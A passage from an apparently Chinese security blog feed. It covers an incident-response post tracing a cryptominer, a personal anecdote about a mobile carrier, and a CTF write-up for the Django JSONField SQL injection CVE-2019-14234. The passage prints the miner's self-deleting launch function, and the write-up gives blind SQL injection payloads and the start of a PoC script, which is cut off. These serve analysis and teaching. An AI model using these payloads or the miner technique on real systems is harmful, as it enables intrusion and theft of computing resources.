<code class=\"language-plaintext highlighter-rouge\">\/usr\/bin\/$random_name<\/code>\uff0c\u7136\u540e\u542f\u52a8\u6316\u77ff\u7a0b\u5e8f\uff0c\u5220\u9664\u6389\u6316\u77ff\u7a0b\u5e8f\u3002\u7531\u4e8eshell\u811a\u672c\u672c\u8eab\u662f <code class=\"language-plaintext highlighter-rouge\">systemd<\/code>\u542f\u52a8\u7684\uff0c\u6211\u4eec\u505c\u6b62\u4e86\u6316\u77ff\u7a0b\u5e8f\u540e <code class=\"language-plaintext highlighter-rouge\">systemd<\/code>\u53c8\u4f1a\u6267\u884c\u4e00\u904d\u8fd9\u4e2a\u811a\u672c\uff0c\u9677\u5165\u65e0\u5c3d\u7684\u5faa\u73af\u3002<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n<\/pre><\/td><td class=\"rouge-code\"><pre>functie_on<span class=\"o\">(){<\/span>\n\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/usr\/bin\n\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/usr\n\t<span class=\"nv\">$static<\/span> <span class=\"nv\">$locatie_miner_default<\/span> \/usr\/bin\/<span class=\"nv\">$random_name<\/span>\n\t\/usr\/bin\/<span class=\"nv\">$random_name<\/span> <span class=\"o\">&gt;<\/span> \/dev\/null 2&gt;&amp;1 &amp; <span class=\"nb\">disown\n\techo<\/span> <span class=\"nv\">$random_name<\/span> <span class=\"o\">&gt;<\/span> <span class=\"nv\">$locatie_pid<\/span>\n\t<span class=\"nv\">$static3<\/span> <span class=\"nt\">-rf<\/span> \/usr\/bin\/<span class=\"nv\">$random_name<\/span>\n<span class=\"o\">}<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u4f46\u662f\u53c8\u6709\u4e00\u4e2a\u95ee\u9898\uff0c<code class=\"language-plaintext highlighter-rouge\">systemd<\/code>\u5173\u5fc3\u7684\u662f\u8fd9\u4e2a shell\u811a\u672c\u7684\u72b6\u6001\uff0cshell\u811a\u672c\u6267\u884c\u4e86<code class=\"language-plaintext highlighter-rouge\">\t\/usr\/bin\/$random_name &gt; \/dev\/null 2&gt;&amp;1 &amp; disown<\/code>\u5c31\u8dd1\u8def\u4e86\uff0c<code class=\"language-plaintext highlighter-rouge\">disown<\/code>\u53c2\u6570\u628a\u8fd9\u4e2a\u8fdb\u7a0b\u4ece <code class=\"language-plaintext highlighter-rouge\">jobs<\/code>\u4e2d\u79fb\u9664\u4e86\uff0c\u5373\u4f7f\u9000\u51fa\u4e86shell\u4e5f\u4e0d\u4f1a\u5f71\u54cd\u4ed6\u6267\u884c\u3002\u90a3\u4e48\uff0c\u6211\u4eec\u7ed9 <code class=\"language-plaintext highlighter-rouge\">\/usr\/bin\/$random_name<\/code>\u53d1\u9001\u4e86 <code class=\"language-plaintext highlighter-rouge\">kill -9<\/code>\u4e4b\u540e\uff0c\u4ed6\u7684\u811a\u672c\u5982\u4f55\u53d1\u73b0\u8fd9\u4e2a\u8fdb\u7a0b\u5df2\u7ecf\u9000\u51fa\u4e86\u7136\u540e\u91cd\u65b0\u542f\u52a8\u7684\u5462\uff1f\u6211\u4eec\u53d1\u9001 <code class=\"language-plaintext highlighter-rouge\">kill -i<\/code>\u4e0d\u4f1a\u5f71\u54cd\u8fd9\u4e2ashell\u811a\u672c\u7684\u6267\u884c\u7684\u3002<\/p>\n\n<h1 id=\"\u540e\u8bb0\">\u540e\u8bb0<\/h1>\n\n<ol>\n  <li>\u4e24\u5929\u65f6\u95f4\u6eaf\u6e90\u4e24\u53f0\u673a\u5668\uff0c\u751a\u81f3\u6709\u70b9\u597d\u73a9\uff0c\u65e0\u804a\u7684\u7814\u7a76\u751f\u6d3b\u91cc\u9762\u7684\u4e00\u70b9\u4e50\u8da3\u4e86\uff08\u6253\u4e52\u4e53\u7403\u3001\u7fbd\u6bdb\u7403\u3001\u6070\u706b\u9505\u4e5f\u5f88\u5feb\u4e50\uff09 :)<\/li>\n  <li>\u6eaf\u6e90\u7684\u65f6\u5019\u5343\u4e07\u4e0d\u8981\u628a\u653b\u51fb\u8005\u94b1\u5305\u7684\u5730\u5740\u6539\u6210\u81ea\u5df1\u7684\u7136\u540e\u5c31\u4e0d\u7ba1\u4e86\uff0c\u8fd9\u6837\u653b\u51fb\u8005\u7684\u7a0b\u5e8f\u4f1a\u81ea\u52a8\u5728\u5185\u7f51\u6269\u6563\u7136\u540e\u4e0a\u5343\u4e2aCPU\u5e2e\u4f60\u6316 xmr \uff0c\u8fd8\u6709\u53ef\u80fd\u5403\u56fd\u5bb6\u996d :)<\/li>\n  <li>\u4e0d\u8981\u628a ssh \u6620\u5c04\u5230\u516c\u7f51\u4e86\uff0c\u867d\u7136\u4f60\u7684\u53e3\u4ee4\u53ef\u80fd\u6bd4\u8f83\u5f3a\uff0c\u4f46\u662f\u5176\u4ed6\u7528\u6237\u53ef\u80fd\u662f\u5f31\u53e3\u4ee4<\/li>\n  <li>\u4e0d\u8981\u7528\u5f31\u53e3\u4ee4\uff0c <code class=\"language-plaintext highlighter-rouge\">root:123456<\/code>\u8fd9\u7c7b\u53e3\u4ee4\u57fa\u672c\u662f\u767d\u7ed9\u7684<\/li>\n  <li>\u4e0d\u53ea\u662f ssh \u5bb9\u6613\u88ab\u653b\u51fb\uff0c redis \u672a\u6388\u6743\uff0cjava\u6846\u67b6\u7684\u5404\u79cd\u53cd\u5e8f\u5217\u5316\u5206\u5206\u949f getshell<\/li>\n  <li>\u6316\u77ff\u6728\u9a6c\u5df2\u7ecf\u662f\u6781\u5176\u6587\u660e\u8bb2\u7406\u7684\u6728\u9a6c\u4e86\uff0c\u5982\u679c\u5bf9\u65b9\u662f\u52d2\u7d22\u8f6f\u4ef6\u3001APT\u653b\u51fb\u8005\uff0c\u90a3\u4e48\u540e\u679c\u5c31\u4e25\u91cd\u4e86\u3000:)<\/li>\n  <li>\u5efa\u8bae\u653b\u51fb\u8005\u4e0b\u6b21\u8fd8\u662f\u52ab\u6301 <code class=\"language-plaintext highlighter-rouge\">getdents<\/code> \u8fd9\u7c7b\u7cfb\u7edf\u8c03\u7528\u6765\u9690\u85cf\u81ea\u5df1\uff0c\u76f4\u63a5\u5220\u9664\u81ea\u5df1\u8fd9\u4e2a\u6280\u672f\u542b\u91cf\u4e0d\u592a\u9ad8\uff0cPS\u4e00\u4e0b\u5b50\u5c31\u770b\u5230\u4e86<\/li>\n  <li>fa les duo ma laki<\/li>\n<\/ol>\n\n<h1 id=\"\u788e\u788e\u5ff5\">\u788e\u788e\u5ff5<\/h1>\n\n<p>\u6628\u5929\u79fb\u52a8\u7ed9\u6211\u53d1\u77ed\u4fe1\uff0c\u8bf4\u6211\u79fb\u52a8\u53f7\u5361\u884c\u4e3a\u5f02\u5e38\uff0c\u8ba9\u6211\u767b\u5f55\u79fb\u52a8\u638c\u5385\u6216\u8005\u53bb\u8425\u4e1a\u5385\u6838\u9a8c\u3002\u62dc\u6258\u67e5\u51c6\u7387\u9ad8\u4e00\u70b9\u597d\u4e0d\u597d\uff0c\u6211\u5c31\u6536\u4e2a\u5feb\u9012\u77ed\u4fe1\uff0c\u6bcf\u5929\u4e24\u70b9\u4e00\u7ebf\uff0c\u7528\u6765\u4e0a\u4e2a\u7f51\uff0c\u600e\u4e48\u5c31\u547d\u4e2d\u65ad\u5361\u884c\u52a8\u6076\u610f\u884c\u4e3a\u76d1\u6d4b\u7684\u7279\u5f81\u4e86(\u5e0c\u671b\u8fd9\u4e2a\u7279\u5f81\u4e0d\u8981\u88ab\u8bc8\u9a97\u5206\u5b50\u53d1\u73b0\u4e86\uff0c\u867d\u7136\u6211\u628a\u5b83\u5199\u51fa\u6765\u4e86233333)<\/p>\n\n<p>\u6b64\u65f6\u6211\u7684\u624b\u673a\u5df2\u7ecf\u53d8\u6210\u4e862G\u7f51\u7edc\uff0c\u53ea\u80fd\u6253\u7535\u8bdd\u4e0d\u80fd\u4e0a\u7f51\u4e86\u3002\u8fd8\u597d\u6211\u8fd8\u6709\u4e00\u5f20\u5361\u53ef\u4ee5\u51d1\u5408\u7eed\u547d\u3002:)<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518192826.png\" alt=\"\" \/><\/p>\n\n<p>\u4e0b\u8f7d\u79fb\u52a8\u638c\u5385\uff0c\u70b9\u51fb\u5ba2\u670d\uff0c\u4ed6\u63d0\u793a\u6211\u53ef\u80fd\u7684\u539f\u56e0\uff0c\u5e76\u4e14\u8ba9\u6211 24h \u5185\u901a\u8fc7\u79fb\u52a8\u516c\u4f17\u53f7\u6216\u8005\u8425\u4e1a\u5385\u6838\u9a8c\uff0c\u6709\u4e2d\u95f4\u5546\u8d5a\u5dee\u4ef7\uff0c\u76f4\u63a5\u62bd\u6210 <code class=\"language-plaintext highlighter-rouge\">29\/30*100%=96.7%<\/code>\uff0c\u6bd4\u9ec4\u56db\u90ce\u62bd\u7684\u8fd8\u591a  :)<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518192730.png\" alt=\"\" \/><\/p>\n\n<p>\u770b\u4e86\u4e0b\u4f4f\u7684\u5730\u65b9\u65c1\u8fb9\u6709\u4e2a\u8425\u4e1a\u5385\uff0c\u4eca\u5929\u65e9\u66688:30\u8d70\u8fc7\u53bb\uff0c\u62c5\u5fc3\u53bb\u65e9\u4e86\u6ca1\u5f00\u95e8\u3002<\/p>\n\n<p>\u4ed6\u7ed9\u6211\u8bf4\u5173\u6ce8\u5317\u4eac\u53cd\u8bc8\u516c\u4f17\u53f7\u53ef\u4ee5\u64cd\u4f5c\u3002<\/p>\n\n<p>\u6211\u7ed9\u4ed6\u8bf4\u79fb\u52a8\u77ed\u4fe1\u8ba9\u6211\u5230\u8425\u4e1a\u5385\u6838\u9a8c\u3002<\/p>\n\n<p>\u4ed6\u7ed9\u6211\u8bf4\u4ed6\u4e0d\u662f\u79fb\u52a8\u81ea\u5df1\u7684\u8425\u4e1a\u5385\uff0c\u8ba9\u6211\u53bb\u53e6\u4e00\u4e2a\u5730\u65b9\uff0c\u800c\u8fd9\u4e2a\u5730\u65b9\u5c31\u662f\u6211\u5c0f\u533a\u697c\u4e0b\u7684\u8425\u4e1a\u5385\uff0c\u53ea\u662f\u5730\u56fe\u4e0a\u6ca1\u6709\u3002<\/p>\n\n<p>\u6211\u8bf4\u597d\u5427\uff0c\u8c22\u8c22\u60a8\u561e\u3002<\/p>\n\n<p>\u4e8e\u662f\u6211\u53c8\u56de\u5230\u4e86\u5c0f\u533a\u5916\u9762\uff0c\u4e00\u770b\u8425\u4e1a\u5385\u4e0a\u9762\u5199\u7684 <code class=\"language-plaintext highlighter-rouge\">10:00-18:00<\/code> \u8425\u4e1a\uff0c\u800c\u6211\u662f 996 \u7684\u6253\u5de5\u4eba\uff0c\u610f\u5473\u7740\u6211\u53ea\u6709\u5468\u65e5\u624d\u80fd\u6709\u65f6\u95f4\u6765\u4e86\uff0c\u5148\u7528\u53e6\u4e00\u5f20\u5361\u51d1\u5408\u7eed\u547d\u5427\u3002<\/p>\n\n<p>\u51c6\u5907\u8d70\u7684\u65f6\u5019\u770b\u5230\u4e2a70\u6765\u5c81\u7684\u8001\u5927\u7237\u548c\u8001\u4f34\u4e00\u8d77\u6765\uff0c\u8001\u5927\u7237\u770b\u4e86\u770b\u90a3\u4e2a\u724c\u5b50\uff0c\u7ed9\u8001\u4f34\u8bf4 10:00 \u624d\u5f00\u95e8\uff0c\u4ed6\u8001\u4f34\u8bf4\u90a3\u5f85\u4f1a\u513f\u518d\u6765\u5427\u3002\u554a\uff0c\u6211\u4e5f\u60f3\u9000\u4f11\uff0c\u771f\u597d\uff0c\u8fd8\u80fd\u6709\u65f6\u95f4\u53bb\u8425\u4e1a\u5385\uff0c996\u7684\u4eba\u5f88\u4e45\u6ca1\u770b\u8fc7\u65e5\u843d\u4e86\u3002<\/p>\n\n<p>\u6b64\u65f6\u5df2\u7ecf\u5feb9\u70b9\u4e86\uff0c\u6253\u5de5\u4eba\u5f97\u5feb\u70b9\u53bb\u6253\u5361\uff0c\u4e0d\u7136\u5c31\u8fdf\u5230\u4e86 :) \u7b49\u4e86\u51e0\u5206\u949f\u516c\u4ea4\u8f66\u6765\u4e86\uff0c\u8f66\u4e0a\u6709\u70b9\u70ed\uff0c\u4eba\u6324\u4eba\uff0c\u662f\u751f\u6d3b\u7684\u5473\u9053\u3002\u56fd\u9645\u60ef\u4f8b\uff0c\u8c46\u6d46\u6cb9\u6761\uff0c\u8c46\u6d46\u4e0d\u8981\u7cd6\uff0c\u5403\u5b8c\u53bb\u6253\u5361\uff0c\u5f53\u7136\uff0c\u6700\u540e\u80af\u5b9a\u662f\u8fdf\u5230\u4e86\u3002<\/p>\n\n<p>\u4e2d\u5348\u5348\u996d\u8fc7\u540e\uff0c\u6211\u7ed910086\u6253\u4e86\u7535\u8bdd\u3002<\/p>\n\n<p>10086\u8bf4\u67e5\u4e86\u4e00\u4e0b\u6211\u8fd9\u4e2a\u5361\u786e\u5b9e\u4e0a\u662f\u6709\u6536\u5230\u65ad\u5361\u884c\u52a8\u7684\u901a\u77e5\u7684\u3002\u770b\u8d77\u6765\u8fd9\u4e2a\u8bdd\u52a1\u5458\u4f3c\u4e4e\u662f\u770b\u7684\u6211\u6536\u77ed\u4fe1\u7684\u8bb0\u5f55\u800c\u4e0d\u662f\u7cfb\u7edf\u91cc\u9762\u67e5\u8be2\u7684\uff0c\u56e0\u4e3a\u4ed6\u95ee\u4e86\u6211\u4ec0\u4e48\u65f6\u5019\u6536\u5230\u7684\u77ed\u4fe1 :)<\/p>\n\n<p>\u4ed6\u8bf4\u67e5\u8be2\u4e86\u6211\u8fd9\u4e2a\u53f7\u5361\uff0c\u76ee\u524d\u662f\u6b63\u5e38\u4f7f\u7528\u7684\uff0c\u8ba9\u6211\u5361\u4e0d\u80fd\u7528\u4e86\u4e4b\u540e\u518d\u7ed9\u4ed6\u6253\u7535\u8bdd\u3002<\/p>\n\n<p>\u6211\u8bf4\u5361\u4e0d\u80fd\u7528\u4e86\u6211\u600e\u4e48\u7ed910086\u6253\u7535\u8bdd :)<\/p>\n\n<p>\u4ed6\u8bf4\u4e0d\u5f71\u54cd\u625310086\u7684\uff0c\u5e76\u4e14\u76ee\u524d\u8fd9\u5f20\u5361\u662f\u6b63\u5e38\u4f7f\u7528\u7684\u3002<\/p>\n\n<p>\u6211\u8bf4\u7740\u4e0d\u6b63\u5e38\u5440\uff0c\u6536\u5230\u90a3\u4e2a\u77ed\u4fe1\u4e4b\u540e\u4e00\u76f4\u662f2G\u4fe1\u53f7\uff0c\u4e0d\u8ba9\u6211\u4e0a\u7f51\u4e86\u3002<\/p>\n\n<p>\u4ed6\u53c8\u8bf4\u4e86\u4e00\u904d\u73b0\u5728\u662f\u6b63\u5e38\u4f7f\u7528\u7684\u3002<\/p>\n\n<p>\u6211\u518d\u770b\u4e86\u770b\u624b\u673a\uff0c\u79fb\u52a8\u53f7\u5361\u53d8\u62104G\u4fe1\u53f7\u4e86 :)<\/p>\n\n<p>\u884c\u5427\uff0c\u5c31\u8fd9\u6837\u5450\uff0c\u600e\u4e48\u89e3\u51b3\u7684\u5c31\u4e0d\u7ba1\u4e86\uff0c\u80fd\u7528\u5c31\u884c\uff0c\u95ee\u9898\u544a\u4e00\u6bb5\u843d\u3002 :)<\/p>\n\n","pubDate":"Tue, 18 May 2021 06:33:03 +0000","link":"https:\/\/iansmith123.github.io\/2021\/05\/18\/%E4%B8%A4%E6%AC%A1%E6%BA%AF%E6%BA%90\/","guid":"https:\/\/iansmith123.github.io\/2021\/05\/18\/%E4%B8%A4%E6%AC%A1%E6%BA%AF%E6%BA%90\/","category":["\u7f51\u7edc\u5b89\u5168","\u5e94\u6025\u54cd\u5e94"]},{"title":"202101-\u84dd\u961f\u4e59\u7ec4\u6708\u8d5byour_ip\u9898\u89e3","description":"<h1 id=\"\u5e8f\">\u5e8f<\/h1>\n\n<p>\u6709\u5b66\u5f1f\u95ee\u6211\u6708\u8d5b\u9898\u76ee\u6e90\u7801\uff0c\u611f\u89c9\u5f53\u65f6\u5199\u7684 wp \u53ef\u4ee5\u62ff\u6765\u6c34\u4e00\u7bc7\u535a\u5ba2\uff08\u7b11\uff09 :)<\/p>\n\n<h1 id=\"\u6982\u8ff0\">\u6982\u8ff0<\/h1>\n\n<p>\u9898\u76ee\u5728  https:\/\/github.com\/IanSmith123\/your_ip<\/p>\n\n<p>cve-2019-14234  django jsonfield \u6ce8\u5165<\/p>\n\n<p>\u6b64\u5904\u6784\u9020\u4e86\u4e00\u4e2a\u63d2\u5165\u6570\u636e\u5e93\u548c\u67e5\u8be2\u6570\u636e\u5e93\u7684\u64cd\u4f5c\uff0c\u5176\u4e2d\u67e5\u8be2\u7684\u64cd\u4f5c\u662f\u53ef\u4ee5\u63a7\u5236\u6ce8\u5165\u7684<\/p>\n\n<p>\u63a5\u53e3\u4e24\u4e2a<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>http:\/\/ip\/save\/?ip=1.1.1.1&amp;domain=example.com\nhttp:\/\/ip\/query\/?domain=example.com\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h1 id=\"\u4ee3\u7801\u6cc4\u9732\">\u4ee3\u7801\u6cc4\u9732<\/h1>\n\n<p>\u9996\u9875\u56fe\u8def\u5f84<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>http:\/\/ip\/static\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210116214606.png\" alt=\"\" \/><\/p>\n\n<p>\u626b\u63cf\u53ef\u5f97\u5b58\u5728<code class=\"language-plaintext highlighter-rouge\">http:\/\/ip\/static\/www.zip<\/code>\u3002<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n<\/pre><\/td><td class=\"rouge-code\"><pre>Hint 1: I love something else beside Assassins creed. :)\nHint 2: There is something interesting in \/static, try to find it.  :)  \n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u4e00\u65e9\u4e0a\u8fc7\u53bb\u4e86\uff0c\u6ca1\u6709\u4eba\u626b\u5230www.zip\uff0c\u56e0\u4e3a\u4e00\u822c\u7684\u626b\u63cf\u5668\u6ca1\u6709\u5f00\u542f\u9012\u5f52\u626b\u63cf\uff0cdirmap\u4fee\u6539\u914d\u7f6e\u6587\u4ef6\u5f00\u542f\u9012\u5f52\u53ef\u4ee5\u5f88\u5feb\u626b\u5230\u3002\u7ed9\u4e86hint1\u548chint2\u4e4b\u540e\uff0c\u6709\u4e24\u4e2a\u540c\u5b66\u626b\u5230\u4e86www.zip\uff0c\u4e0b\u5348\u66f4\u665a\u4e00\u70b9\u7684\u65f6\u5019\u7b2c\u4e09\u4e2a\u540c\u5b66\u626b\u5230\u4e86www.zip\u3002<\/p>\n\n<p>\u5728hint2\u7684\u57fa\u7840\u4e0a\uff0c\u53ef\u4ee5\u76f4\u63a5\u626b<code class=\"language-plaintext highlighter-rouge\">ip:port\/static<\/code>\uff0c\u4e00\u822c\u60c5\u51b5\u4e0b\u53ef\u4ee5\u5728\u534a\u5206\u949f\u5185\u626b\u5230\u6cc4\u9732\u7684\u4ee3\u7801\u3002<\/p>\n\n<h1 id=\"\u5ba1\u8ba1\">\u5ba1\u8ba1<\/h1>\n\n<p>\u4e0b\u8f7d\u540e\u5ba1\u8ba1\u4ee3\u7801\uff0c\u53ef\u4ee5\u627e\u5230<\/p>\n\n<div class=\"language-python highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"c1\"># ip\/views.py\n<\/span><span class=\"k\">def<\/span> <span class=\"nf\">query_ip<\/span><span class=\"p\">(<\/span><span class=\"n\">request<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">dic<\/span> <span class=\"o\">=<\/span> <span class=\"n\">request<\/span><span class=\"p\">.<\/span><span class=\"n\">GET<\/span>\n    <span class=\"n\">dic<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">dict<\/span><span class=\"p\">(<\/span><span class=\"n\">dic<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">if<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">dic<\/span><span class=\"p\">)<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">0<\/span><span class=\"p\">:<\/span>\n        <span class=\"k\">return<\/span> <span class=\"n\">render<\/span><span class=\"p\">(<\/span><span class=\"n\">request<\/span><span class=\"p\">,<\/span> <span class=\"s\">'query.html'<\/span><span class=\"p\">)<\/span>\n\n    <span class=\"c1\"># good idea for all kind of query\n<\/span>    <span class=\"n\">dic<\/span> <span class=\"o\">=<\/span> <span class=\"p\">{<\/span><span class=\"sa\">f<\/span><span class=\"s\">\"ip__<\/span><span class=\"si\">{<\/span><span class=\"n\">k<\/span><span class=\"si\">}<\/span><span class=\"s\">\"<\/span><span class=\"p\">:<\/span> <span class=\"n\">dic<\/span><span class=\"p\">[<\/span><span class=\"n\">k<\/span><span class=\"p\">][<\/span><span class=\"mi\">0<\/span><span class=\"p\">]<\/span> <span class=\"k\">for<\/span> <span class=\"n\">k<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">dic<\/span><span class=\"p\">}<\/span>\n    <span class=\"k\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">dic<\/span><span class=\"p\">)<\/span>\n    <span class=\"n\">my_ip<\/span> <span class=\"o\">=<\/span> <span class=\"n\">MyIP<\/span><span class=\"p\">.<\/span><span class=\"n\">objects<\/span><span class=\"p\">.<\/span><span class=\"nb\">filter<\/span><span class=\"p\">(<\/span><span class=\"o\">**<\/span><span class=\"n\">dic<\/span><span class=\"p\">).<\/span><span class=\"nb\">all<\/span><span class=\"p\">().<\/span><span class=\"n\">values<\/span><span class=\"p\">()<\/span>\n    <span class=\"n\">my_ip<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[<\/span><span class=\"n\">item<\/span> <span class=\"k\">for<\/span> <span class=\"n\">item<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">my_ip<\/span><span class=\"p\">]<\/span>\n\n    <span class=\"k\">return<\/span> <span class=\"n\">JsonResponse<\/span><span class=\"p\">(<\/span><span class=\"n\">my_ip<\/span><span class=\"p\">,<\/span> <span class=\"n\">safe<\/span><span class=\"o\">=<\/span><span class=\"bp\">False<\/span><span class=\"p\">)<\/span>\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u5176\u4e2d\u4e24\u884c\u662fbug\u7684\u8d77\u6e90\uff0c\u53c2\u8003 https:\/\/www.leavesongs.com\/PENETRATION\/django-jsonfield-cve-2019-14234.html<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n<\/pre><\/td><td class=\"rouge-code\"><pre>dic = {f\"ip__{k}\": dic[k][0] for k in dic}\nmy_ip = MyIP.objects.filter(**dic).all().values()\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u6b64\u5904\u63a7\u5236 <code class=\"language-plaintext highlighter-rouge\">domain<\/code>\u5904\uff0c\u9020\u6210sql\u6ce8\u5165<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>http:\/\/ip\/query\/?do%27main=example.com\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u56e0\u4e3a\u5728\u9898\u76ee\u91cc\u9762\uff0cdjango\u5173\u95ed\u4e86debug\uff0c\u9047\u5230\u9519\u8bef\u76f4\u63a5\u8fd4\u56de500\uff0c\u5982\u679c\u8bed\u53e5\u6784\u9020\u6b63\u786e\uff0c\u90a3\u4e48\u8fd4\u56de200\u3002<\/p>\n\n<p>\u56e0\u4e3a\u5df2\u7ecf\u6709views.py\u4e86\uff0c\u672c\u5730\u53ef\u4ee5\u65b0\u5efa\u4e00\u4e2adjango\u9879\u76ee\uff0c\u628aviews.py\u653e\u8fdb\u53bb\uff0c\u53ef\u4ee5\u76f4\u63a5\u8c03\u8bd5\u6784\u9020\u7684sql\u8bed\u53e5\u3002<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210202162554.png\" alt=\"\" \/><\/p>\n\n<h1 id=\"\u6784\u9020poc\">\u6784\u9020Poc<\/h1>\n\n<p>\u5e03\u5c14\u76f2\u6ce8  \u5982\u679c2&gt;1\u7684\u6761\u4ef6\u6210\u7acb\uff0c\u90a3\u4e48\u8fd4\u56de\u7ed3\u679c\uff0c\u5982\u679c2&gt;1\u4e0d\u6210\u7acb\uff0c\u90a3\u4e48\u8fd4\u56de\u7a7a<\/p>\n\n<div class=\"language-python highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"k\">def<\/span> <span class=\"nf\">fun<\/span><span class=\"p\">(<\/span><span class=\"n\">poc<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">url<\/span> <span class=\"o\">=<\/span> <span class=\"sa\">f<\/span><span class=\"s\">\"http:\/\/ip:8029\/query\/?domain<\/span><span class=\"si\">{<\/span><span class=\"n\">poc<\/span><span class=\"si\">}<\/span><span class=\"s\">=b\"<\/span>\n    <span class=\"n\">r<\/span> <span class=\"o\">=<\/span> <span class=\"n\">requests<\/span><span class=\"p\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"n\">url<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">r<\/span><span class=\"p\">.<\/span><span class=\"n\">text<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">fun<\/span><span class=\"p\">(<\/span><span class=\"s\">\"\"\"')&gt;'1' or 2&gt;1--\"\"\"<\/span><span class=\"p\">)<\/span> <span class=\"c1\">#\n<\/span><\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u56e0\u4e3a\u8fd9\u91cc\u4e0d\u4f1a\u8fd4\u56de\u6ce8\u5165\u7684\u7ed3\u679c\uff0c\u6b64\u5904\u53ef\u4ee5\u4f7f\u7528\u5e03\u5c14\u76f2\u6ce8\u7684\u65b9\u5f0f\u6765\u5224\u65ad\u6570\u636e\u3002<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>124.16.75.162:31056\/query\/?domain')&gt;'1' or 2&gt;1--=b    \n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p><img src=\"https:\/\/static.scuseek.com\/20210116211213.png\" alt=\"\" \/><\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>http:\/\/124.16.75.162:31056\/query\/?domain%27)%3E%271%27%20or%202%3C1--=b\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p><img src=\"https:\/\/static.scuseek.com\/20210116211230.png\" alt=\"\" \/><\/p>\n\n<p>\u56e0\u6b64\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u7b80\u5355\u7684\u76f2\u6ce8\u811a\u672c<\/p>\n\n<div class=\"language-python highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"k\">def<\/span> 